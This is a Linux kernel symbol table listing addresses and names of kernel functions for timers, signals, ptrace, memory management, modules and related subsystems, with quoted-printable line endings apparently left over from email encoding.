1012ccf0 t do_proc_dointvec_minmax_conv=0A=
1012cd6c T proc_dointvec_minmax=0A=
1012cdcc t do_proc_doulongvec_minmax=0A=
1012d1f0 T proc_doulongvec_minmax=0A=
1012d224 T proc_doulongvec_ms_jiffies_minmax=0A=
1012d258 t do_proc_dointvec_jiffies_conv=0A=
1012d2c8 t do_proc_dointvec_userhz_jiffies_conv=0A=
1012d44c t do_proc_dointvec_ms_jiffies_conv=0A=
1012d4ac T proc_dointvec_jiffies=0A=
1012d4e4 T proc_dointvec_userhz_jiffies=0A=
1012d51c T proc_dointvec_ms_jiffies=0A=
1012d554 T sysctl_string=0A=
1012d718 T sysctl_intvec=0A=
1012d80c T sysctl_jiffies=0A=
1012d948 T sysctl_ms_jiffies=0A=
1012da5c T sys_capget=0A=
1012dba4 T sys_capset=0A=
1012df04 T __ptrace_link=0A=
1012e028 T ptrace_untrace=0A=
1012e0ac T __ptrace_unlink=0A=
1012e1d4 T ptrace_check_attach=0A=
1012e260 t may_attach=0A=
1012e35c T ptrace_may_attach=0A=
1012e37c T ptrace_attach=0A=
1012e438 T ptrace_detach=0A=
1012e4a4 T access_process_vm=0A=
1012e8ac T ptrace_readdata=0A=
1012e990 T ptrace_writedata=0A=
1012ea88 T ptrace_request=0A=
1012ec8c T ptrace_traceme=0A=
1012ecf0 T ptrace_get_task_struct=0A=
1012ed48 T sys_ptrace=0A=
1012ee64 T init_timer=0A=
1012ee78 t internal_add_timer=0A=
1012ef6c t lock_timer_base=0A=
1012ef94 T del_timer=0A=
1012f004 T __mod_timer=0A=
1012f0d8 T add_timer_on=0A=
1012f14c T mod_timer=0A=
1012f1b8 t cascade=0A=
1012f254 t run_timer_softirq=0A=
1012f464 T run_local_timers=0A=
1012f480 T update_process_times=0A=
1012f52c T do_timer=0A=
1012fabc T sys_alarm=0A=
1012fb20 T sys_getpid=0A=
1012fb30 T sys_getppid=0A=
1012fb48 T sys_getuid=0A=
1012fb58 T sys_geteuid=0A=
1012fb68 T sys_getgid=0A=
1012fb78 T sys_getegid=0A=
1012fb88 t process_timeout=0A=
1012fba0 T msleep=0A=
1012fbdc T sys_gettid=0A=
1012fbec T sys_sysinfo=0A=
1012fe40 t timer_cpu_notify=0A=
1012fee0 T msleep_interruptible=0A=
1012ff38 T find_user=0A=
1012ff9c T free_uid=0A=
10130010 T alloc_uid=0A=
101301b0 T switch_uid=0A=
10130214 t sig_ignored=0A=
101302a8 T recalc_sigpending_tsk=0A=
10130330 T recalc_sigpending=0A=
10130350 t __sigqueue_alloc=0A=
10130408 t flush_sigqueue=0A=
101304b4 T flush_signals=0A=
10130508 T __exit_sighand=0A=
10130558 T exit_sighand=0A=
10130584 T __exit_signal=0A=
10130760 T exit_signal=0A=
101307a0 T flush_signal_handlers=0A=
10130820 T block_all_signals=0A=
10130858 T unblock_all_signals=0A=
10130898 t __dequeue_signal=0A=
10130b54 T dequeue_signal=0A=
10130c3c T signal_wake_up=0A=
10130c7c t rm_from_queue_full=0A=
10130d98 t rm_from_queue=0A=
10130e74 t check_kill_permission=0A=
10130f54 t send_signal=0A=
101310b4 t specific_send_sig_info=0A=
101311c0 T force_sig_info=0A=
10131294 T force_sig_specific=0A=
101312b4 t __group_complete_signal=0A=
10131600 T zap_other_threads=0A=
101316b0 T send_sig_info=0A=
101316e4 T send_sig=0A=
1013170c T force_sig=0A=
1013172c T force_sigsegv=0A=
10131778 T sigqueue_alloc=0A=
101317b0 T sigqueue_free=0A=
10131870 T send_sigqueue=0A=
101319d8 t do_notify_parent_cldstop=0A=
10131b4c t handle_stop_signal=0A=
10131d34 T send_group_sigqueue=0A=
10131e74 T __group_send_sig_info=0A=
10131f54 T kill_proc_info_as_uid=0A=
1013205c T group_send_sig_info=0A=
10132134 T send_group_sig_info=0A=
1013214c T kill_proc_info=0A=
1013219c T kill_proc=0A=
101321c8 T __kill_pg_info=0A=
10132274 T kill_pg_info=0A=
1013228c T kill_pg=0A=
101322b8 T do_notify_parent=0A=
101324c8 t ptrace_stop=0A=
10132608 T ptrace_notify=0A=
101326c4 t finish_stop=0A=
10132724 T get_signal_to_deliver=0A=
10132c78 T sys_restart_syscall=0A=
10132ca0 T do_no_restart_syscall=0A=
10132ca8 T sigprocmask=0A=
10132dc0 T sys_rt_sigprocmask=0A=
10132ed0 T do_sigpending=0A=
10132f74 T sys_rt_sigpending=0A=
10132f8c T copy_siginfo_from_user=0A=
10132fb0 T copy_siginfo_to_user=0A=
10133458 T sys_rt_sigtimedwait=0A=
10133788 T sys_kill=0A=
10133908 t do_tkill=0A=
10133a00 T sys_tgkill=0A=
10133a34 T sys_tkill=0A=
10133a68 T sys_rt_sigqueueinfo=0A=
10133ad0 T do_sigaction=0A=
10133d1c T sys_sigpending=0A=
10133d38 T sys_sigprocmask=0A=
10133e7c T sys_rt_sigaction=0A=
10133f3c T sys_sgetmask=0A=
10133f4c T sys_ssetmask=0A=
10133fa0 T sys_signal=0A=
10133fd4 T sys_pause=0A=
10134004 T capable=0A=
10134040 T notifier_chain_register=0A=
10134090 T notifier_chain_unregister=0A=
101340cc T notifier_call_chain=0A=
1013413c T register_reboot_notifier=0A=
10134160 T unregister_reboot_notifier=0A=
10134184 t set_one_prio=0A=
10134258 T sys_setpriority=0A=
10134468 T sys_getpriority=0A=
10134644 T emergency_restart=0A=
10134660 T kernel_restart_prepare=0A=
10134698 T kernel_restart=0A=
10134704 T kernel_kexec=0A=
10134708 T kernel_halt_prepare=0A=
10134740 T kernel_halt=0A=
10134768 T kernel_power_off_prepare=0A=
101347a0 T kernel_power_off=0A=
101347c8 T sys_reboot=0A=
101349ac t deferred_cad=0A=
101349c8 T ctrl_alt_del=0A=
10134a10 T sys_setregid=0A=
10134b70 T sys_setgid=0A=
10134c70 t set_user=0A=
10134d28 T sys_setreuid=0A=
10134f3c T sys_setuid=0A=
10135064 T sys_setresuid=0A=
1013525c T sys_getresuid=0A=
101352e8 T sys_setresgid=0A=
1013544c T sys_getresgid=0A=
101354d8 T sys_setfsuid=0A=
1013559c T sys_setfsgid=0A=
10135650 T sys_times=0A=
10135aa4 T sys_setpgid=0A=
10135c08 T sys_getpgid=0A=
10135c58 T sys_getpgrp=0A=
10135c6c T sys_getsid=0A=
10135cbc T sys_setsid=0A=
10135dc8 T groups_alloc=0A=
10135ef0 T groups_free=0A=
10135f5c T groups_search=0A=
10135fd8 T set_current_groups=0A=
10136150 T sys_getgroups=0A=
101362bc T sys_setgroups=0A=
101363c8 T in_group_p=0A=
1013647c T in_egroup_p=0A=
10136530 T sys_newuname=0A=
1013658c T sys_sethostname=0A=
10136644 T sys_gethostname=0A=
101366d4 T sys_setdomainname=0A=
1013678c T sys_getrlimit=0A=
101367e8 T sys_old_getrlimit=0A=
1013686c T sys_setrlimit=0A=
101369cc T getrusage=0A=
10136d8c T sys_getrusage=0A=
10136dcc T sys_umask=0A=
10136df8 T sys_prctl=0A=
10137064 t ____call_usermodehelper=0A=
101370f4 t wait_for_helper=0A=
10137198 t __call_usermodehelper=0A=
1013720c T call_usermodehelper_keys=0A=
10137330 T request_module=0A=
1013748c t __queue_work=0A=
101374ec T queue_work=0A=
1013756c t delayed_work_timer_fn=0A=
10137590 T queue_delayed_work=0A=
1013764c t run_workqueue=0A=
10137770 t worker_thread=0A=
1013790c t flush_cpu_workqueue=0A=
10137a1c T flush_workqueue=0A=
10137a58 t create_workqueue_thread=0A=
10137b1c t cleanup_workqueue_thread=0A=
10137b50 T destroy_workqueue=0A=
10137bf4 T __create_workqueue=0A=
10137d28 T schedule_work=0A=
10137d4c T schedule_delayed_work=0A=
10137d74 T schedule_delayed_work_on=0A=
10137e34 T schedule_on_each_cpu=0A=
10137ed0 T flush_scheduled_work=0A=
10137ef0 T cancel_rearming_delayed_workqueue=0A=
10137f4c T cancel_rearming_delayed_work=0A=
10137f70 T keventd_up=0A=
10137f84 T current_is_keventd=0A=
10137fec T init_workqueues=0A=
101380ac T free_pidmap=0A=
1013810c T alloc_pidmap=0A=
1013843c T find_pid=0A=
101384b0 T attach_pid=0A=
101385ac t __detach_pid=0A=
10138644 T detach_pid=0A=
101386ac T find_task_by_pid_type=0A=
101386e4 T switch_exec_pids=0A=
10138810 T call_rcu=0A=
10138870 T call_rcu_bh=0A=
101388a4 T rcu_batches_completed=0A=
101388b0 t rcu_barrier_callback=0A=
101388f8 T rcu_barrier=0A=
10138aa4 t rcu_start_batch=0A=
10138af4 t __rcu_process_callbacks=0A=
10138d04 t rcu_process_callbacks=0A=
10138d40 t __rcu_pending=0A=
10138da8 T rcu_pending=0A=
10138e00 T rcu_check_callbacks=0A=
10138eb8 t rcu_init_percpu_data=0A=
10138f20 t rcu_cpu_notify=0A=
10138f9c t wakeme_after_rcu=0A=
10138fb8 T synchronize_rcu=0A=
10138ff4 T synchronize_kernel=0A=
1013900c T search_exception_tables=0A=
10139054 t core_kernel_text=0A=
10139098 T __kernel_text_address=0A=
101390e4 T kernel_text_address=0A=
10139130 T parse_args=0A=
10139464 T param_set_byte=0A=
101394dc T param_get_byte=0A=
10139504 T param_set_short=0A=
1013957c T param_get_short=0A=
101395a8 T param_set_ushort=0A=
10139620 T param_get_ushort=0A=
10139648 T param_set_int=0A=
101396a0 T param_get_int=0A=
101396c8 T param_set_uint=0A=
10139720 T param_get_uint=0A=
10139748 T param_set_long=0A=
101397a0 T param_get_long=0A=
101397c8 T param_set_ulong=0A=
10139820 T param_get_ulong=0A=
10139848 T param_set_charp=0A=
101398d0 T param_get_charp=0A=
101398f8 T param_set_bool=0A=
10139974 T param_get_bool=0A=
101399a8 T param_set_invbool=0A=
10139a10 T param_get_invbool=0A=
10139a64 T param_array=0A=
10139be0 T param_array_set=0A=
10139c3c T param_array_get=0A=
10139d24 T param_set_copystring=0A=
10139da0 T param_get_string=0A=
10139dc4 t param_attr_show=0A=
10139e28 t param_attr_store=0A=
10139e68 t param_sysfs_setup=0A=
10139fe8 T module_param_sysfs_setup=0A=
1013a028 T module_param_sysfs_remove=0A=
1013a064 t module_attr_show=0A=
1013a10c t module_attr_store=0A=
1013a1b4 t posix_ktime_get_ts=0A=
1013a1d4 T register_posix_clock=0A=
1013a238 T posix_timer_event=0A=
1013a338 t posix_timer_fn=0A=
1013a3ec t release_posix_timer=0A=
1013a48c T sys_timer_create=0A=
1013a830 t lock_timer=0A=
1013a8d0 T do_schedule_next_timer=0A=
1013a9cc t common_timer_get=0A=
1013ab20 T sys_timer_gettime=0A=
1013abc4 T sys_timer_getoverrun=0A=
1013abf8 T sys_timer_settime=0A=
1013ae60 T sys_timer_delete=0A=
1013afb4 T exit_itimers=0A=
1013b11c T do_posix_clock_nosettime=0A=
1013b124 T do_posix_clock_notimer_create=0A=
1013b12c T do_posix_clock_nonanosleep=0A=
1013b134 T sys_clock_settime=0A=
1013b20c T sys_clock_gettime=0A=
1013b2e8 T sys_clock_getres=0A=
1013b3e8 T sys_clock_nanosleep=0A=
1013b538 T kthread_should_stop=0A=
1013b554 t kthread=0A=
1013b6cc t keventd_create_kthread=0A=
1013b740 T kthread_create=0A=
1013b850 T kthread_bind=0A=
1013b8a8 T kthread_stop_sem=0A=
1013ba4c T kthread_stop=0A=
1013ba68 T add_wait_queue=0A=
1013ba98 T add_wait_queue_exclusive=0A=
1013bac8 T remove_wait_queue=0A=
1013bb00 T prepare_to_wait=0A=
1013bb50 T prepare_to_wait_exclusive=0A=
1013bba0 T finish_wait=0A=
1013bbec T autoremove_wake_function=0A=
1013bc28 T wake_bit_function=0A=
1013bc88 T bit_waitqueue=0A=
1013bcf8 T __wake_up_bit=0A=
1013bd2c T wake_up_bit=0A=
1013bd64 T __kfifo_put=0A=
1013bdf8 T __kfifo_get=0A=
1013be8c T kfifo_init=0A=
1013bf3c T kfifo_alloc=0A=
1013c050 T kfifo_free=0A=
1013c078 W compat_sys_futex=0A=
1013c078 W compat_sys_get_mempolicy=0A=
1013c078 W compat_sys_kexec_load=0A=
1013c078 W compat_sys_keyctl=0A=
1013c078 W compat_sys_mbind=0A=
1013c078 W compat_sys_mq_getsetattr=0A=
1013c078 W compat_sys_mq_notify=0A=
1013c078 W compat_sys_mq_open=0A=
1013c078 W compat_sys_mq_timedreceive=0A=
1013c078 W compat_sys_mq_timedsend=0A=
1013c078 W compat_sys_set_mempolicy=0A=
1013c078 W compat_sys_socketcall=0A=
1013c078 W ppc_rtas=0A=
1013c078 W sys32_ipc=0A=
1013c078 W sys32_sysctl=0A=
1013c078 W sys_acct=0A=
1013c078 W sys_add_key=0A=
1013c078 W sys_chown16=0A=
1013c078 W sys_fchown16=0A=
1013c078 W sys_get_mempolicy=0A=
1013c078 W sys_getegid16=0A=
1013c078 W sys_geteuid16=0A=
1013c078 W sys_getgid16=0A=
1013c078 W sys_getgroups16=0A=
1013c078 W sys_getresgid16=0A=
1013c078 W sys_getresuid16=0A=
1013c078 W sys_getuid16=0A=
1013c078 W sys_kexec_load=0A=
1013c078 W sys_keyctl=0A=
1013c078 W sys_lchown16=0A=
1013c078 W sys_lookup_dcookie=0A=
1013c078 W sys_mbind=0A=
1013c078 W sys_migrate_pages=0A=
1013c078 T sys_ni_syscall=0A=
1013c078 W sys_pciconfig_iobase=0A=
1013c078 W sys_quotactl=0A=
1013c078 W sys_request_key=0A=
1013c078 W sys_set_mempolicy=0A=
1013c078 W sys_setfsgid16=0A=
1013c078 W sys_setfsuid16=0A=
1013c078 W sys_setgid16=0A=
1013c078 W sys_setgroups16=0A=
1013c078 W sys_setregid16=0A=
1013c078 W sys_setresgid16=0A=
1013c078 W sys_setresuid16=0A=
1013c078 W sys_setreuid16=0A=
1013c078 W sys_setuid16=0A=
1013c078 W sys_spu_create=0A=
1013c078 W sys_spu_run=0A=
1013c078 W sys_vm86=0A=
1013c078 W sys_vm86old=0A=
1013c080 t check_clock=0A=
1013c124 t sample_to_timespec=0A=
1013c2ec t bump_cpu_timer=0A=
1013c4ac T posix_cpu_clock_getres=0A=
1013c500 T posix_cpu_clock_set=0A=
1013c520 t cpu_clock_sample=0A=
1013c5bc t cpu_clock_sample_group_locked=0A=
1013c700 t cpu_clock_sample_group=0A=
1013c724 T posix_cpu_clock_get=0A=
1013c838 T posix_cpu_timer_create=0A=
1013c94c T posix_cpu_timer_del=0A=
1013ca38 t cleanup_timers=0A=
1013cb90 T posix_cpu_timers_exit=0A=
1013cbc8 T posix_cpu_timers_exit_group=0A=
1013cc24 t process_timer_rebalance=0A=
1013ce2c t clear_dead_task=0A=
1013cef0 t arm_timer=0A=
1013d18c T posix_cpu_timer_schedule=0A=
1013d2f0 t cpu_timer_fire=0A=
1013d384 T posix_cpu_timer_set=0A=
1013d95c T posix_cpu_timer_get=0A=
1013dc10 T run_posix_cpu_timers=0A=
1013e37c T set_process_cpu_timer=0A=
1013e4b4 T posix_cpu_nsleep=0A=
1013e70c t posix_cpu_clock_nanosleep_restart=0A=
1013e754 t process_cpu_clock_getres=0A=
1013e770 t process_cpu_clock_get=0A=
1013e78c t process_cpu_timer_create=0A=
1013e7ac t process_cpu_nsleep=0A=
1013e7c8 t thread_cpu_clock_getres=0A=
1013e7e4 t thread_cpu_clock_get=0A=
1013e800 t thread_cpu_timer_create=0A=
1013e820 t thread_cpu_nsleep=0A=
1013e828 T __mutex_init=0A=
1013e850 t __mutex_trylock_slowpath=0A=
1013e894 T mutex_trylock=0A=
1013e8c4 t ktime_get_real=0A=
1013e8f8 T ktime_get_ts=0A=
1013e9a0 t ktime_get=0A=
1013e9d4 T ktime_add_ns=0A=
1013ead0 T hrtimer_forward=0A=
1013eec0 t enqueue_hrtimer=0A=
1013ef9c t __remove_hrtimer=0A=
1013efe0 T hrtimer_start=0A=
1013f0f0 T hrtimer_try_to_cancel=0A=
1013f158 T hrtimer_cancel=0A=
1013f17c T hrtimer_get_remaining=0A=
1013f1f0 T hrtimer_rebase=0A=
1013f208 T hrtimer_init=0A=
1013f244 T hrtimer_get_res=0A=
1013f294 T hrtimer_run_queues=0A=
1013f3b0 T hrtimer_nanosleep=0A=
1013f4fc T sys_nanosleep=0A=
1013f580 t hrtimer_cpu_notify=0A=
1013f590 t hash_futex=0A=
1013f654 t get_futex_key=0A=
1013f788 t drop_key_refs=0A=
1013f7ec t wake_futex=0A=
1013f850 t futex_requeue=0A=
1013fb30 t unqueue_me=0A=
1013fbcc t futex_close=0A=
1013fbf8 t futex_poll=0A=
1013fc64 T do_futex=0A=
101402a0 T sys_futex=0A=
101403e4 t futexfs_get_sb=0A=
10140410 T module_refcount=0A=
10140418 T register_module_notifier=0A=
101404f4 T unregister_module_notifier=0A=
101405d0 T __module_put_and_exit=0A=
10140614 t find_sec=0A=
101406d4 t __find_symbol=0A=
10140934 t find_module=0A=
101409cc t setup_modinfo_version=0A=
101409f4 t show_modinfo_version=0A=
10140a20 t modinfo_version_exists=0A=
10140a30 t free_modinfo_version=0A=
10140a54 t setup_modinfo_srcversion=0A=
10140a7c t show_modinfo_srcversion=0A=
10140aa8 t modinfo_srcversion_exists=0A=
10140ab8 t free_modinfo_srcversion=0A=
10140adc t module_unload_free=0A=
10140c20 t __try_stop_module=0A=
10140c84 T __symbol_put=0A=
10140d30 t show_refcnt=0A=
10140d64 t obsparm_copy_string=0A=
10140d8c t set_obsolete=0A=
101410b0 t module_sect_show=0A=
101410dc t __unlink_module=0A=
10141110 t free_module=0A=
10141244 T sys_delete_module=0A=
101414dc T __symbol_get=0A=
1014155c t get_offset=0A=
10141594 t get_modinfo=0A=
10141698 T is_exported=0A=
10141794 t load_module=0A=
10142a54 t __link_module=0A=
10142a7c T sys_init_module=0A=
10142db4 T module_address_lookup=0A=
10143044 T module_get_kallsym=0A=
101431c4 t mod_find_symname=0A=
10143280 T module_kallsyms_lookup_name=0A=
10143360 t m_start=0A=
10143428 t m_next=0A=
10143458 t m_stop=0A=
101434a4 t m_show=0A=
10143620 T search_module_extables=0A=
101436dc T __module_text_address=0A=
10143748 T module_text_address=0A=
1014376c T symbol_put_addr=0A=
10143818 T print_modules=0A=
101438a8 T module_add_driver=0A=
101438f4 T module_remove_driver=0A=
10143924 t kallsyms_expand_symbol=0A=
101439b0 t get_symbol_offset=0A=
101439f8 T kallsyms_lookup_name=0A=
10143aa8 T kallsyms_lookup=0A=
10143d34 T __print_symbol=0A=
10143e08 t reset_iter=0A=
10143e50 t update_iter=0A=
10143f8c t s_next=0A=
10143fd8 t s_start=0A=
10144010 t s_stop=0A=
10144014 t s_show=0A=
101440a4 t kallsyms_open=0A=
10144128 t kallsyms_release=0A=
10144164 t ikconfig_read_current=0A=
10144210 t uevent_seqnum_show=0A=
10144240 t uevent_helper_show=0A=
1014426c t uevent_helper_store=0A=
101442d4 t end_none=0A=
101442d8 t enable_none=0A=
101442dc t disable_none=0A=
101442e0 t shutdown_none=0A=
101442e4 t startup_none=0A=
101442ec t ack_none=0A=
10144304 T no_action=0A=
1014430c T handle_IRQ_event=0A=
101443d8 T __do_IRQ=0A=
10144558 T disable_irq_nosync=0A=
101445c4 T disable_irq=0A=
10144610 T enable_irq=0A=
1014471c T can_request_irq=0A=
10144760 T setup_irq=0A=
1014488c T free_irq=0A=
10144974 T request_irq=0A=
10144a40 t __report_bad_irq=0A=
10144aec T note_interrupt=0A=
10144d94 T probe_irq_on=0A=
10144f78 T probe_irq_mask=0A=
1014508c T probe_irq_off=0A=
101451ac T register_handler_proc=0A=
101452a4 T register_irq_proc=0A=
10145364 T unregister_handler_proc=0A=
1014539c T init_irq_proc=0A=
101453f0 T __filemap_copy_from_user_iovec=0A=
101454ac T __remove_from_page_cache=0A=
10145508 T remove_from_page_cache=0A=
10145564 t sync_page=0A=
101455bc t __filemap_fdatawrite_range=0A=
10145664 T filemap_fdatawrite=0A=
1014569c t filemap_fdatawrite_range=0A=
101456d0 T filemap_flush=0A=
10145704 T add_to_page_cache=0A=
101457e4 T add_to_page_cache_lru=0A=
1014582c t page_waitqueue=0A=
1014587c T wait_on_page_bit=0A=
10145954 t wait_on_page_writeback_range=0A=
10145af4 T filemap_write_and_wait_range=0A=
10145bb4 T filemap_fdatawait=0A=
10145c04 T filemap_write_and_wait=0A=
10145c6c T sync_page_range_nolock=0A=
10145d44 T sync_page_range=0A=
10145e74 T unlock_page=0A=
10145eec T end_page_writeback=0A=
10145f80 T __lock_page=0A=
1014602c T find_get_page=0A=
10146098 T find_trylock_page=0A=
101460e4 T find_lock_page=0A=
101461bc T find_or_create_page=0A=
101462b8 T find_get_pages=0A=
10146338 T find_get_pages_tag=0A=
101463d8 T grab_cache_page_nowait=0A=
1014650c T do_generic_mapping_read=0A=
10146a28 T file_read_actor=0A=
10146bbc T file_send_actor=0A=
10146c68 T generic_file_sendfile=0A=
10146cdc T sys_readahead=0A=
10146dac t page_cache_read=0A=
10146ef4 T filemap_nopage=0A=
10147300 T filemap_populate=0A=
10147794 T generic_file_mmap=0A=
101477f8 T generic_file_readonly_mmap=0A=
10147828 T read_cache_page=0A=
10147a58 T remove_suid=0A=
10147af0 T generic_write_checks=0A=
10147da0 T generic_file_buffered_write=0A=
10148458 t generic_file_direct_IO=0A=
101485d8 T generic_file_direct_write=0A=
10148794 t __generic_file_aio_write_nolock=0A=
10148cc8 t __generic_file_write_nolock=0A=
10148d68 T generic_file_writev=0A=
10148e80 T generic_file_write=0A=
10148f98 T generic_file_aio_write=0A=
101490f8 T generic_file_aio_write_nolock=0A=
101491c8 T generic_file_write_nolock=0A=
10149268 T __generic_file_aio_read=0A=
10149448 T generic_file_readv=0A=
101494e8 T generic_file_read=0A=
101495a8 T generic_file_aio_read=0A=
1014961c t add_element=0A=
10149680 t remove_element=0A=
101496dc t free_pool=0A=
10149734 T mempool_create_node=0A=
10149874 T mempool_create=0A=
10149894 T mempool_resize=0A=
10149a38 T mempool_destroy=0A=
10149a88 T mempool_alloc=0A=
10149b88 T mempool_free=0A=
10149c18 T mempool_alloc_slab=0A=
10149c3c T mempool_free_slab=0A=
10149c60 T badness=0A=
10149da8 t __oom_kill_task=0A=
10149e9c t oom_kill_task=0A=
10149f88 T out_of_memory=0A=
1014a1ac T sys_fadvise64_64=0A=
1014a3d8 T sys_fadvise64=0A=
1014a408 t bad_page=0A=
1014a4b8 t free_pages_bulk=0A=
1014a788 T __mod_page_state_offset=0A=
1014a7a4 t free_hot_cold_page=0A=
1014a8f8 T __pagevec_free=0A=
1014a948 T mod_page_state_offset=0A=
1014a96c t __rmqueue=0A=
1014aa70 T free_hot_page=0A=
1014aa8c T free_cold_page=0A=
1014aaa8 T zone_watermark_ok=0A=
1014ab44 t get_page_from_freelist=0A=
1014af28 T __alloc_pages=0A=
1014b220 T __get_free_pages=0A=
1014b2b8 T get_zeroed_page=0A=
1014b36c T __free_pages=0A=
1014b574 T free_pages=0A=
1014b5f0 T nr_free_pages=0A=
1014b638 t nr_free_zone_pages=0A=
1014b680 T nr_free_buffer_pages=0A=
1014b69c T nr_free_pagecache_pages=0A=
1014b6b8 t __get_page_state=0A=
1014b8bc T get_page_state_node=0A=
1014b8e8 T get_page_state=0A=
1014b910 T get_full_page_state=0A=
1014b938 T read_page_state_offset=0A=
1014b948 T __get_zone_counts=0A=
1014b99c T get_zone_counts=0A=
1014ba40 T si_meminfo=0A=
1014ba88 T show_free_areas=0A=
1014bdf0 T zone_init_free_lists=0A=
1014be10 T zonetable_add=0A=
1014be2c T setup_pageset=0A=
1014beb8 t frag_start=0A=
1014bef4 t frag_next=0A=
1014bf14 t frag_stop=0A=
1014bf18 t frag_show=0A=
1014c02c t zoneinfo_show=0A=
1014c268 t vmstat_start=0A=
1014c30c t vmstat_next=0A=
1014c350 t vmstat_show=0A=
1014c390 t vmstat_stop=0A=
1014c3b4 t setup_per_zone_lowmem_reserve=0A=
1014c4a4 T setup_per_zone_pages_min=0A=
1014c5a0 T min_free_kbytes_sysctl_handler=0A=
1014c5d4 T lowmem_reserve_ratio_sysctl_handler=0A=
1014c608 T percpu_pagelist_fraction_sysctl_handler=0A=
1014c6c8 t get_writeback_state=0A=
1014c710 t get_dirty_limits=0A=
1014c848 T balance_dirty_pages_ratelimited=0A=
1014ca44 T throttle_vm_writeout=0A=
1014caa0 t background_writeout=0A=
1014cb94 T wakeup_pdflush=0A=
1014cbe4 t wb_kupdate=0A=
1014cd64 T dirty_writeback_centisecs_handler=0A=
1014cdd8 t wb_timer_fn=0A=
1014ce20 t laptop_flush=0A=
1014ce38 t laptop_timer_fn=0A=
1014ce5c T laptop_io_completion=0A=
1014ce9c T laptop_sync_completion=0A=
1014cebc t set_ratelimit=0A=
1014cf00 t ratelimit_handler=0A=
1014cf1c T do_writepages=0A=
1014cf88 T clear_page_dirty_for_io=0A=
1014d03c T write_one_page=0A=
1014d1c4 T __set_page_dirty_nobuffers=0A=
1014d2e0 T redirty_page_for_writepage=0A=
1014d30c T set_page_dirty=0A=
1014d38c T set_page_dirty_lock=0A=
1014d410 T test_set_page_writeback=0A=
1014d540 T test_clear_page_dirty=0A=
1014d63c T test_clear_page_writeback=0A=
1014d748 T mapping_tagged=0A=
1014d76c T pdflush_operation=0A=
1014d840 t start_one_pdflush_thread=0A=
1014d888 t pdflush=0A=
1014dae8 T default_unplug_io_fn=0A=
1014daec T file_ra_state_init=0A=
1014db04 T read_cache_pages=0A=
1014dcd4 t __do_page_cache_readahead=0A=
1014df88 T force_page_cache_readahead=0A=
1014e034 T do_page_cache_readahead=0A=
1014e0cc t blockable_page_cache_readahead=0A=
1014e1b8 t make_ahead_window=0A=
1014e26c T page_cache_readahead=0A=
1014e4a4 T handle_ra_miss=0A=
1014e4bc T max_sane_readahead=0A=
1014e50c T __pagevec_release_nonlru=0A=
1014e62c T rotate_reclaimable_page=0A=
1014e71c T activate_page=0A=
1014e7e8 T mark_page_accessed=0A=
1014e854 T __page_cache_release=0A=
1014e934 T put_page=0A=
1014ea10 T release_pages=0A=
1014ec60 T __pagevec_lru_add_active=0A=
1014eda8 T lru_cache_add_active=0A=
1014ee1c T __pagevec_lru_add=0A=
1014ef28 T lru_add_drain=0A=
1014ef78 T lru_cache_add=0A=
1014efec T __pagevec_release=0A=
1014f01c T pagevec_strip=0A=
1014f0c8 T pagevec_lookup=0A=
1014f0f8 T pagevec_lookup_tag=0A=
1014f130 t truncate_complete_page=0A=
1014f1b8 t invalidate_complete_page=0A=
1014f2a4 T truncate_inode_pages_range=0A=
1014f664 T truncate_inode_pages=0A=
1014f690 T invalidate_mapping_pages=0A=
1014f7e0 T invalidate_inode_pages=0A=
1014f800 T invalidate_inode_pages2_range=0A=
1014faa4 T invalidate_inode_pages2=0A=
1014fac4 T set_shrinker=0A=
1014fb54 T remove_shrinker=0A=
1014fbc0 T shrink_slab=0A=
1014fe0c t isolate_lru_pages=0A=
1014ff64 t shrink_zone=0A=
10150eac T try_to_free_pages=0A=
10151124 t kswapd=0A=
10151558 T wakeup_kswapd=0A=
101515d8 T vma_prio_tree_add=0A=
101516d8 T vma_prio_tree_insert=0A=
10151728 T vma_prio_tree_remove=0A=
10151860 T vma_prio_tree_next=0A=
101518d0 T kzalloc=0A=
1015190c T kstrdup=0A=
1015196c t zap_pte=0A=
10151c50 T install_page=0A=
10151e04 T install_file_pte=0A=
10151f08 T sys_remap_file_pages=0A=
101520f4 t page_pool_alloc_isa=0A=
10152164 t page_pool_free=0A=
10152180 T init_emergency_isa_pool=0A=
1015221c t bounce_end_io=0A=
101522fc t bounce_end_io_write=0A=
1015233c t bounce_end_io_write_isa=0A=
1015237c t __bounce_end_io_read=0A=
10152498 t bounce_end_io_read=0A=
101524d8 t bounce_end_io_read_isa=0A=
10152518 T blk_queue_bounce=0A=
10152838 T sys_madvise=0A=
10152c40 T pgd_clear_bad=0A=
10152c70 T pud_clear_bad=0A=
10152c74 T pmd_clear_bad=0A=
10152cac T free_pgd_range=0A=
10152ef8 T free_pgtables=0A=
10152fe0 T __pte_alloc=0A=
1015309c T __pte_alloc_kernel=0A=
10153108 T print_bad_pte=0A=
101531a8 T vm_normal_page=0A=
1015323c T __pmd_alloc=0A=
10153274 T copy_page_range=0A=
10153778 T unmap_vmas=0A=
10153f94 T zap_page_range=0A=
101540ec T follow_page=0A=
101542dc T in_gate_area_no_task=0A=
101542e4 T get_gate_vma=0A=
101542ec T zeromap_page_range=0A=
10154628 T get_locked_pte=0A=
101546c8 T vm_insert_page=0A=
10154848 T remap_pfn_range=0A=
10154b74 t do_wp_page=0A=
10155208 t unmap_mapping_range_vma=0A=
101552f0 T unmap_mapping_range=0A=
10155594 T vmtruncate=0A=
101556f4 T vmtruncate_range=0A=
10155828 T swapin_readahead=0A=
101558c8 T __handle_mm_fault=0A=
10156454 T get_user_pages=0A=
101567f8 T __pud_alloc=0A=
10156800 T make_pages_present=0A=
101568fc T vmalloc_to_page=0A=
10156964 T vmalloc_to_pfn=0A=
1015698c t mincore_vma=0A=
10156af4 T sys_mincore=0A=
10156c7c t mlock_fixup=0A=
10156df8 t do_mlock=0A=
10156ee8 T sys_mlock=0A=
10156fd4 T sys_munlock=0A=
1015704c t do_mlockall=0A=
101570f0 T sys_mlockall=0A=
101571dc T sys_munlockall=0A=
10157228 T user_shm_lock=0A=
101572d0 T user_shm_unlock=0A=
10157300 T find_vma=0A=
10157370 T __vm_enough_memory=0A=
101574d8 t __remove_shared_vm_struct=0A=
10157574 T unlink_file_vma=0A=
101575a0 t remove_vma=0A=
10157608 t find_vma_prepare=0A=
1015768c T __vma_link_rb=0A=
101576c4 t __vma_link=0A=
1015773c t vma_link=0A=
1015781c T vma_adjust=0A=
10157bf0 t can_vma_merge_before=0A=
10157c54 t can_vma_merge_after=0A=
10157ccc T vma_merge=0A=
10157f2c T find_vma_prev=0A=
10157f8c T find_mergeable_anon_vma=0A=
101580f8 T vm_stat_account=0A=
10158158 T get_unmapped_area=0A=
